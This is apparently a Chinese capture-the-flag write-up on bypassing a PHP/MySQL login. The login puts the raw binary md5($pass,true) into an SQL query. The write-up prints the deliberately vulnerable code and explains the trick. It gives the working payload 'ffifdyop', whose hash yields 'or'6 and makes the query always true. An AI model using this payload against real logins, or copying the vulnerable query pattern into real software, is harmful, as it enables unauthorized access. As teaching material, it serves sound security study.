PHP – md5($pass,true) 绕过

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 
error_reporting(0);

if(isset($_GET['pass']))
{
$pass = $_GET['pass'];

$link = mysql_connect('localhost', 'root', 'root');
$db = mysql_select_db("test", $link);

if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}

if(!$db)
{
die('select db error');
}

$sql = "SELECT * FROM admin WHERE pass = '".md5($pass,true)."'";

$result=mysql_query($sql);
$row1 = mysql_fetch_row($result);
mysql_close($link);

if($row1)
{
echo "Login Sccess!";
}
else
{
echo "Login Faile";
}
}
?>

代码分析

  • GET 获得 $pass
  • md5($pass,true) 加密后带入数据库查询
  • 存在数据条目则登录成功,得到flag

函数用法

md5() 函数计算字符串的 MD5 散列。

md5(chars,{false/true})
FALSE - 默认 32 字符十六进制数
TRUE -  原始 16 字符二进制格式

用法示例代码

1
2
3
4
<?php
var_dump(md5('test',false));
var_dump(md5('test',true));
?>

用法示例结果

string(32) "098f6bcd4621d373cade4e832627b4f6" string(16) "ÄĘB8 ą#‚ ĚPšou„›"

绕过分析

  • 由于 md5($pass,true) 加密后返回原始十六位二进制格式
  • md5("ffifdyop",true) 加密后的二进制为 'or'6<trash>
  • SQL语句为 SQL : SELECT * FROM admin WHERE pass = ''or'6<trash>'
  • or 绕过查询语句,有效查询,登录成功,返回 flag

Payload

index.php?pass=ffifdyop